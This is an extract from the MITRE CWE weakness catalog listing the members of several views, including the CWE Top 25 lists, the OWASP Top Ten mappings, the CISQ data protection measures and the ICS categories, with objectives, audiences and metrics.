HasMember		20	Improper Input Validation	19
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33



Nature	Type	ID	Name	Page
HasMember		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
HasMember		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
HasMember		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember		125	Out-of-bounds Read	316
HasMember		190	Integer Overflow or Wraparound	453
HasMember		200	Exposure of Sensitive Information to an Unauthorized Actor	484
HasMember		276	Incorrect Default Permissions	630
HasMember		287	Improper Authentication	657
HasMember		306	Missing Authentication for Critical Function	703
HasMember		352	Cross-Site Request Forgery (CSRF)	821
HasMember		416	Use After Free	958
HasMember		434	Unrestricted Upload of File with Dangerous Type	991
HasMember		476	NULL Pointer Dereference	1070
HasMember		502	Deserialization of Untrusted Data	1137
HasMember		522	Insufficiently Protected Credentials	1157
HasMember		611	Improper Restriction of XML External Entity Reference	1286
HasMember		732	Incorrect Permission Assignment for Critical Resource	1445
HasMember		787	Out-of-bounds Write	1547
HasMember		798	Use of Hard-coded Credentials	1573
HasMember		862	Missing Authorization	1657
HasMember		918	Server-Side Request Forgery (SSRF)	1694

## References

[REF-1185]"2021 CWE Top 25 Most Dangerous Software Weaknesses". 2021 July 0. < [http://cwe.mitre.org/top25/archive/2021/2021\\_cwe\\_top25.html](http://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	25	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	25	out of	1332

## View-1340: CISQ Data Protection Measures

**View ID** : 1340

**Type** : Graph

### Objective

This view outlines the SMM representation of the Automated Source Code Data Protection Measurement specifications, as identified by the Consortium for Information & Software Quality (CISQ) Working Group.

### Audience

### Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

### Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

### Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

### Membership

Nature	Type	ID	Name	Page
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
HasMember		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
HasMember		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
HasMember		90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	207
HasMember		91	XML Injection (aka Blind XPath Injection)	209
HasMember		99	Improper Control of Resource Identifiers ('Resource Injection')	235
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember		129	Improper Validation of Array Index	327
HasMember		134	Use of Externally-Controlled Format String	349
HasMember		170	Improper Null Termination	411
HasMember		213	Exposure of Sensitive Information Due to Incompatible Policies	523
HasMember		284	Improper Access Control	644
HasMember		311	Missing Encryption of Sensitive Data	718
HasMember		359	Exposure of Private Personal Information to an Unauthorized Actor	836
HasMember		404	Improper Resource Shutdown or Release	927
HasMember		424	Improper Protection of Alternate Path	968
HasMember		434	Unrestricted Upload of File with Dangerous Type	991
HasMember		502	Deserialization of Untrusted Data	1137
HasMember		562	Return of Stack Variable Address	1204
HasMember		606	Unchecked Input for Loop Condition	1278
HasMember		611	Improper Restriction of XML External Entity Reference	1286
HasMember		643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1336
HasMember		652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1351
HasMember		662	Improper Synchronization	1363
HasMember		665	Improper Initialization	1368

Nature	Type	ID	Name	Page
HasMember		672	Operation on a Resource after Expiration or Release	1386
HasMember		681	Incorrect Conversion between Numeric Types	1400
HasMember		682	Incorrect Calculation	1403
HasMember		703	Improper Check or Handling of Exceptional Conditions	1433
HasMember		704	Incorrect Type Conversion or Cast	1435
HasMember		732	Incorrect Permission Assignment for Critical Resource	1445
HasMember		798	Use of Hard-coded Credentials	1573
HasMember		908	Use of Uninitialized Resource	1669
HasMember		915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1684
HasMember		1051	Initialization with Hard-Coded Network Resource Configuration Data	1751

## References

[REF-1157]Consortium for Information & Software Quality (CISQ). "AUTOMATED SOURCE CODE MEASURE FOR DATA PROTECTION". 2020. < <https://www.it-cisq.org/automated-source-code-measure-data-protection/index.htm> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	89	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	89	out of	1332

## View-1343: Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List

View ID : 1343

Type : Explicit

### Objective

CWE entries in this view are listed in the 2021 CWE Most Important Hardware Weaknesses List, as determined by the Hardware CWE Special Interest Group (HW CWE SIG).

### Audience

#### Hardware Designers

By following this list, hardware designers and implementers are able to significantly reduce the number of weaknesses that occur in their products.

#### Product Customers

Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.

#### Educators

Educators can use this view to focus curriculum on the most important hardware weaknesses.

### Membership

Nature	Type	ID	Name	Page
HasMember		1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1829

Nature	Type	ID	Name	Page
HasMember	B	1191	On-Chip Debug and Test Interface With Improper Access Control	1833
HasMember	B	1231	Improper Prevention of Lock Bit Modification	1855
HasMember	B	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection	1859
HasMember	B	1240	Use of a Cryptographic Primitive with a Risky Implementation	1869
HasMember	B	1244	Internal Asset Exposed to Unsafe Debug Access Level or State	1879
HasMember	B	1256	Improper Restriction of Software Interfaces to Hardware Features	1906
HasMember	B	1260	Improper Handling of Overlap Between Protected Memory Ranges	1915
HasMember	B	1272	Sensitive Information Uncleared Before Debug/Power State Transition	1942
HasMember	B	1274	Improper Access Control for Volatile Memory Containing Boot Code	1946
HasMember	B	1277	Firmware Not Updateable	1952
HasMember	B	1300	Improper Protection of Physical Side Channels	1996

## References

[REF-1238]MITRE. "2021 CWE Most Important Hardware Weaknesses". 2021 October 8. < [https://cwe.mitre.org/scoring/lists/2021\\_CWE\\_MiHW.html](https://cwe.mitre.org/scoring/lists/2021_CWE_MiHW.html) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	12	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	12	out of	1332

## View-1344: Weaknesses in OWASP Top Ten (2021)

**View ID :** 1344

**Type :** Graph

### Objective

CWE entries in this view (graph) are associated with the OWASP Top Ten, as released in 2021.

### Audience

#### Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2021 version), providing a good starting point for web application developers who want to code more securely.

#### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2021 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.

#### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

## Membership

Nature	Type	ID	Name	Page
HasMember	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	2280
HasMember	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	2281
HasMember	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	2282
HasMember	<b>C</b>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	2284
HasMember	<b>C</b>	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	2286
HasMember	<b>C</b>	1352	OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components	2287
HasMember	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	2287
HasMember	<b>C</b>	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	2288
HasMember	<b>C</b>	1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	2289
HasMember	<b>C</b>	1356	OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF)	2290

## Notes

### Maintenance

As of CWE 4.6, the relationships in this view were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories and high-level weaknesses. One mapping to a deprecated entry was removed. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.

## References

[REF-1206]"OWASP Top 10:2021". 2021 September 4. OWASP. < <https://owasp.org/Top10/> >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	182	out of	933
Categories	23	out of	352
Views	0	out of	47
Total	205	out of	1332

## View-1350: Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses

View ID : 1350

Type : Graph

## Objective

CWE entries in this view are listed in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.

## Audience

### Software Developers

By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.





## Product Customers

Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.

## Educators

Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.

## Membership

Nature	Type	ID	Name	Page
HasMember		20	Improper Input Validation	19
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
HasMember		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
HasMember		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
HasMember		94	Improper Control of Generation of Code ('Code Injection')	213
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember		125	Out-of-bounds Read	316
HasMember		190	Integer Overflow or Wraparound	453
HasMember		200	Exposure of Sensitive Information to an Unauthorized Actor	484
HasMember		269	Improper Privilege Management	613
HasMember		287	Improper Authentication	657
HasMember		306	Missing Authentication for Critical Function	703
HasMember		352	Cross-Site Request Forgery (CSRF)	821
HasMember		400	Uncontrolled Resource Consumption	912
HasMember		416	Use After Free	958
HasMember		434	Unrestricted Upload of File with Dangerous Type	991
HasMember		476	NULL Pointer Dereference	1070
HasMember		502	Deserialization of Untrusted Data	1137
HasMember		522	Insufficiently Protected Credentials	1157
HasMember		611	Improper Restriction of XML External Entity Reference	1286
HasMember		732	Incorrect Permission Assignment for Critical Resource	1445
HasMember		787	Out-of-bounds Write	1547
HasMember		798	Use of Hard-coded Credentials	1573
HasMember		862	Missing Authorization	1657

## References

[REF-1132]"2020 CWE Top 25 Most Dangerous Software Weaknesses". 2020 August 0. < [http://cwe.mitre.org/top25/archive/2020/2020\\_cwe\\_top25.html](http://cwe.mitre.org/top25/archive/2020/2020_cwe_top25.html) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	25	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	25	out of	1332



## View-1358: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS

View ID : 1358

Type : Graph

### Objective

CWE entries in this view (graph) are associated with the Categories of Security Vulnerabilities in ICS, as published by the Securing Energy Infrastructure Executive Task Force (SEI ETF) in March 2022. Weaknesses and categories in this view are focused on issues that affect ICS (Industrial Control Systems) but have not been traditionally covered by CWE in the past due to its earlier emphasis on enterprise IT software. Note: weaknesses in this view are based on "Nearest IT Neighbor" recommendations and other suggestions by the CWE team. These relationships are likely to change in future CWE versions.

### Audience

#### Hardware Designers

ICS/OT hardware designers can use this view to ensure a minimal set of weaknesses that should be avoided or mitigated during the design process.

#### Product Vendors

Product vendors can use this view to ensure that all aspects of the product lifecycle address these weaknesses.



#### Assessment Tool Vendors

Assessment tool vendors that help to assess potential weaknesses, or avoid them, can use this view to improve their tool's coverage to address more weaknesses.

#### Academic Researchers

Academic researchers can use this view to identify potential research opportunities that could produce better methods for detection or avoidance of weaknesses in ICS/OT products.

### Membership

Nature	Type	ID	Name	Page
HasMember		1359	ICS Communications	2290
HasMember		1360	ICS Dependencies (& Architecture)	2291
HasMember		1361	ICS Supply Chain	2291
HasMember		1362	ICS Engineering (Constructions/Deployment)	2292
HasMember		1363	ICS Operations (& Maintenance)	2293

### Notes

#### Relationship

Relationships in this view are not authoritative and subject to change. See Maintenance notes.

#### Maintenance

This view was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.

### References

[REF-1248]Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". 2022 March 9. < [https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1\\_03-09-22.pdf](https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf) >.



**Metrics**

	CWEs in this view		Total CWEs
Weaknesses	45	out of	933
Categories	26	out of	352
Views	0	out of	47
Total	71	out of	1332

**View-1387: Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses****View ID** : 1387**Type** : Graph**Objective**

CWE entries in this view are listed in the 2022 CWE Top 25 Most Dangerous Software Weaknesses.

**Audience****Software Developers**

By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.

**Product Customers**












Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.

**Educators**

Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.

**Membership**

Nature	Type	ID	Name	Page
HasMember		20	Improper Input Validation	19
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
HasMember		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
HasMember		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
HasMember		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
HasMember		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
HasMember		94	Improper Control of Generation of Code ('Code Injection')	213
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
HasMember		125	Out-of-bounds Read	316
HasMember		190	Integer Overflow or Wraparound	453
HasMember		276	Incorrect Default Permissions	630
HasMember		287	Improper Authentication	657
HasMember		306	Missing Authentication for Critical Function	703
HasMember		352	Cross-Site Request Forgery (CSRF)	821

Nature	Type	ID	Name	Page
HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
HasMember		400	Uncontrolled Resource Consumption	912
HasMember		416	Use After Free	958
HasMember		434	Unrestricted Upload of File with Dangerous Type	991
HasMember		476	NULL Pointer Dereference	1070
HasMember		502	Deserialization of Untrusted Data	1137
HasMember		611	Improper Restriction of XML External Entity Reference	1286
HasMember		787	Out-of-bounds Write	1547
HasMember		798	Use of Hard-coded Credentials	1573
HasMember		862	Missing Authorization	1657
HasMember		918	Server-Side Request Forgery (SSRF)	1694

## References

[REF-1268]"2022 CWE Top 25 Most Dangerous Software Weaknesses". 2022 June 8. < [http://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25.html](http://cwe.mitre.org/top25/archive/2022/2022_cwe_top25.html) >.

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	25	out of	933
Categories	0	out of	352
Views	0	out of	47
Total	25	out of	1332

## View-2000: Comprehensive CWE Dictionary

View ID : 2000

Type : Implicit


### Objective

This view (slice) covers all the elements in CWE.

### Filter

/Weakness\_Catalog/\*[not(self::External\_References)]/\*

### Membership

Nature	Type	ID	Name	Page
HasMember		2000	Comprehensive CWE Dictionary	2358

## Metrics

	CWEs in this view		Total CWEs
Weaknesses	933	out of	933
Categories	352	out of	352
Views	47	out of	47
Total	1332	out of	1332

## Graph View: CWE-629: Weaknesses in OWASP Top Ten (2007)

- C** CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS) (p.2123)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- C** CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws (p.2124)
  - C** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
  - B** CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.211)
- C** CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution (p.2124)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - V** CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
  - V** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.229)
- C** CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference (p.2124)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
- C** CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF) (p.2125)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
- C** CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling (p.2125)
  - C** CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
  - B** CWE-203: Observable Discrepancy (p.497)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B** CWE-215: Insertion of Sensitive Information Into Debugging Code (p.527)
- C** CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management (p.2126)
  - C** CWE-287: Improper Authentication (p.657)
  - B** CWE-301: Reflection Attack in an Authentication Protocol (p.695)
  - C** CWE-522: Insufficiently Protected Credentials (p.1157)
- C** CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage (p.2126)
  - C** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - V** CWE-321: Use of Hard-coded Cryptographic Key (p.745)
  - B** CWE-325: Missing Cryptographic Step (p.754)
  - C** CWE-326: Inadequate Encryption Strength (p.756)
- C** CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications (p.2126)
  - C** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - V** CWE-321: Use of Hard-coded Cryptographic Key (p.745)
  - B** CWE-325: Missing Cryptographic Step (p.754)
  - C** CWE-326: Inadequate Encryption Strength (p.756)
- C** CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access (p.2127)
  - C** CWE-285: Improper Authorization (p.649)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.664)
  - B** CWE-425: Direct Request ('Forced Browsing') (p.969)

## Graph View: **CWE-631: DEPRECATED: Resource-specific Weaknesses**

## Graph View: CWE-699: Software Development

- C** CWE-1228: API / Function Errors (*p.2275*)
  - B** CWE-242: Use of Inherently Dangerous Function (*p.557*)
  - B** CWE-474: Use of Function with Inconsistent Implementations (*p.1067*)
  - B** CWE-475: Undefined Behavior for Input to API (*p.1069*)
  - B** CWE-477: Use of Obsolete Function (*p.1076*)
  - B** CWE-676: Use of Potentially Dangerous Function (*p.1394*)
  - B** CWE-695: Use of Low-Level Functionality (*p.1425*)
  - B** CWE-749: Exposed Dangerous Method or Function (*p.1456*)
- C** CWE-1210: Audit / Logging Errors (*p.2268*)
  - B** CWE-117: Improper Output Neutralization for Logs (*p.279*)
  - B** CWE-222: Truncation of Security-relevant Information (*p.532*)
  - B** CWE-223: Omission of Security-relevant Information (*p.533*)
  - B** CWE-224: Obscured Security-relevant Information by Alternate Name (*p.535*)
  - B** CWE-532: Insertion of Sensitive Information into Log File (*p.1171*)
  - B** CWE-778: Insufficient Logging (*p.1525*)
  - B** CWE-779: Logging of Excessive Data (*p.1529*)
- C** CWE-1211: Authentication Errors (*p.2268*)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (*p.664*)
  - B** CWE-290: Authentication Bypass by Spoofing (*p.668*)
  - B** CWE-294: Authentication Bypass by Capture-replay (*p.675*)
  - B** CWE-295: Improper Certificate Validation (*p.677*)
  - B** CWE-296: Improper Following of a Certificate's Chain of Trust (*p.682*)
  - B** CWE-299: Improper Check for Certificate Revocation (*p.690*)
  - B** CWE-303: Incorrect Implementation of Authentication Algorithm (*p.699*)
  - B** CWE-304: Missing Critical Step in Authentication (*p.700*)
  - B** CWE-305: Authentication Bypass by Primary Weakness (*p.702*)
  - B** CWE-306: Missing Authentication for Critical Function (*p.703*)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (*p.709*)
  - B** CWE-308: Use of Single-factor Authentication (*p.713*)
  - B** CWE-309: Use of Password System for Primary Authentication (*p.716*)
  - B** CWE-322: Key Exchange without Entity Authentication (*p.749*)
  - B** CWE-603: Use of Client-Side Authentication (*p.1275*)
  - B** CWE-645: Overly Restrictive Account Lockout Mechanism (*p.1340*)
  - B** CWE-804: Guessable CAPTCHA (*p.1584*)
  - B** CWE-836: Use of Password Hash Instead of Password for Authentication (*p.1639*)
- C** CWE-1212: Authorization Errors (*p.2269*)
  - B** CWE-425: Direct Request ('Forced Browsing') (*p.969*)
  - B** CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (*p.1192*)
  - B** CWE-612: Improper Authorization of Index Containing Sensitive Information (*p.1290*)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (*p.1324*)
  - B** CWE-939: Improper Authorization in Handler for Custom URL Scheme (*p.1709*)
  - B** CWE-842: Placement of User into Incorrect Group (*p.1653*)
  - B** CWE-1220: Insufficient Granularity of Access Control (*p.1843*)
- C** CWE-1006: Bad Coding Practices (*p.2215*)
  - B** CWE-478: Missing Default Case in Multiple Condition Expression (*p.1079*)
  - B** CWE-487: Reliance on Package-level Scope (*p.1102*)
  - B** CWE-489: Active Debug Code (*p.1106*)
  - V** CWE-546: Suspicious Comment (*p.1186*)
  - V** CWE-547: Use of Hard-coded, Security-relevant Constants (*p.1187*)
  - B** CWE-561: Dead Code (*p.1201*)
  - B** CWE-562: Return of Stack Variable Address (*p.1204*)
  - V** CWE-563: Assignment to Variable without Use (*p.1206*)
  - B** CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (*p.1236*)

- V CWE-586: Explicit Call to Finalize() (p. 1243)
- B CWE-605: Multiple Binds to the Same Port (p. 1277)
- B CWE-621: Variable Extraction Error (p. 1303)
- B CWE-627: Dynamic Variable Evaluation (p. 1314)
- B CWE-628: Function Call with Incorrectly Specified Arguments (p. 1316)
- B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1424)
- B CWE-1041: Use of Redundant Code (p. 1740)
- B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p. 1743)
- B CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p. 1744)
- V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p. 1745)
- B CWE-1046: Creation of Immutable Text Using String Concatenation (p. 1746)
- B CWE-1048: Invokable Control Element with Large Number of Outward Calls (p. 1748)
- B CWE-1049: Excessive Data Query Operations in a Large Data Table (p. 1749)
- B CWE-1050: Excessive Platform Resource Consumption within a Loop (p. 1750)
- B CWE-1063: Creation of Class Instance within a Static Code Block (p. 1764)
- B CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p. 1766)
- B CWE-1066: Missing Serialization Control Element (p. 1767)
- B CWE-1067: Excessive Execution of Sequential Searches of Data Resource (p. 1768)
- B CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p. 1772)
- B CWE-1071: Empty Code Block (p. 1773)
- B CWE-1072: Data Resource Access without Use of Connection Pooling (p. 1773)
- B CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses (p. 1774)
- B CWE-1079: Parent Class without Virtual Destructor Method (p. 1780)
- B CWE-1082: Class Instance Self Destruction Control Element (p. 1782)
- B CWE-1084: Invokable Control Element with Excessive File or Data Access Operations (p. 1784)
- B CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p. 1785)
- B CWE-1087: Class with Virtual Method without a Virtual Destructor (p. 1787)
- B CWE-1089: Large Data Table with Excessive Number of Indices (p. 1789)
- B CWE-1091: Use of Object without Invoking Destructor Method (p. 1792)
- B CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p. 1793)
- B CWE-1094: Excessive Index Range Scan for a Data Resource (p. 1794)
- B CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p. 1797)
- V CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p. 1798)
- B CWE-1099: Inconsistent Naming Conventions for Identifiers (p. 1799)
- B CWE-1101: Reliance on Runtime Component in Generated Code (p. 1801)
- B CWE-1102: Reliance on Machine-Dependent Data Representation (p. 1802)
- B CWE-1103: Use of Platform-Dependent Third Party Components (p. 1803)
- B CWE-1104: Use of Unmaintained Third Party Components (p. 1803)
- B CWE-1106: Insufficient Use of Symbolic Constants (p. 1805)
- B CWE-1107: Insufficient Isolation of Symbolic Constant Definitions (p. 1806)
- B CWE-1108: Excessive Reliance on Global Variables (p. 1807)
- B CWE-1109: Use of Same Variable for Multiple Purposes (p. 1808)
- B CWE-1113: Inappropriate Comment Style (p. 1811)
- B CWE-1114: Inappropriate Whitespace Style (p. 1811)
- B CWE-1115: Source Code Element without Standard Prologue (p. 1812)
- B CWE-1116: Inaccurate Comments (p. 1813)
- B CWE-1117: Callable with Insufficient Behavioral Summary (p. 1814)
- B CWE-1126: Declaration of Variable with Unnecessarily Wide Scope (p. 1822)
- B CWE-1127: Compilation with Insufficient Warnings or Errors (p. 1823)
- B CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations (p. 1863)



- C** CWE-438: Behavioral Problems (*p.2120*)
  - B** CWE-115: Misinterpretation of Input (*p.271*)
  - B** CWE-179: Incorrect Behavior Order: Early Validation (*p.430*)
  - B** CWE-408: Incorrect Behavior Order: Early Amplification (*p.942*)
  - B** CWE-437: Incomplete Model of Endpoint Features (*p.1002*)
  - B** CWE-439: Behavioral Change in New Version or Environment (*p.1003*)
  - B** CWE-440: Expected Behavior Violation (*p.1004*)
  - B** CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (*p.1009*)
  - B** CWE-480: Use of Incorrect Operator (*p.1087*)
  - B** CWE-483: Incorrect Block Delimitation (*p.1095*)
  - B** CWE-484: Omitted Break Statement in Switch (*p.1097*)
  - B** CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (*p.1192*)
  - B** CWE-698: Execution After Redirect (EAR) (*p.1431*)
  - B** CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (*p.1454*)
  - B** CWE-783: Operator Precedence Logic Error (*p.1536*)
  - B** CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (*p.1636*)
  - B** CWE-837: Improper Enforcement of a Single, Unique Action (*p.1640*)
  - B** CWE-841: Improper Enforcement of Behavioral Workflow (*p.1649*)
  - B** CWE-1025: Comparison Using Wrong Factors (*p.1734*)
  - B** CWE-1037: Processor Optimization Removal or Modification of Security-critical Code (*p.1736*)
- C** CWE-840: Business Logic Errors (*p.2153*)
  - B** CWE-283: Unverified Ownership (*p.643*)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (*p.664*)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (*p.1324*)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (*p.1326*)
  - B** CWE-708: Incorrect Ownership Assignment (*p.1442*)
  - B** CWE-770: Allocation of Resources Without Limits or Throttling (*p.1502*)
  - B** CWE-826: Premature Release of Resource During Expected Lifetime (*p.1614*)
  - B** CWE-837: Improper Enforcement of a Single, Unique Action (*p.1640*)
  - B** CWE-841: Improper Enforcement of Behavioral Workflow (*p.1649*)
- C** CWE-417: Communication Channel Errors (*p.2119*)
  - B** CWE-322: Key Exchange without Entity Authentication (*p.749*)
  - C** CWE-346: Origin Validation Error (*p.808*)
  - B** CWE-385: Covert Timing Channel (*p.890*)
  - B** CWE-419: Unprotected Primary Channel (*p.962*)
  - B** CWE-420: Unprotected Alternate Channel (*p.963*)
  - B** CWE-425: Direct Request ('Forced Browsing') (*p.969*)
  - B** CWE-515: Covert Storage Channel (*p.1152*)
  - B** CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (*p.1701*)
  - B** CWE-940: Improper Verification of Source of a Communication Channel (*p.1712*)
  - B** CWE-941: Incorrectly Specified Destination in a Communication Channel (*p.1715*)
- C** CWE-1226: Complexity Issues (*p.2273*)
  - B** CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (*p.1743*)
  - B** CWE-1047: Modules with Circular Dependencies (*p.1747*)
  - B** CWE-1055: Multiple Inheritance from Concrete Classes (*p.1755*)
  - B** CWE-1056: Invokable Control Element with Variadic Parameters (*p.1756*)
  - B** CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (*p.1761*)
  - B** CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (*p.1765*)
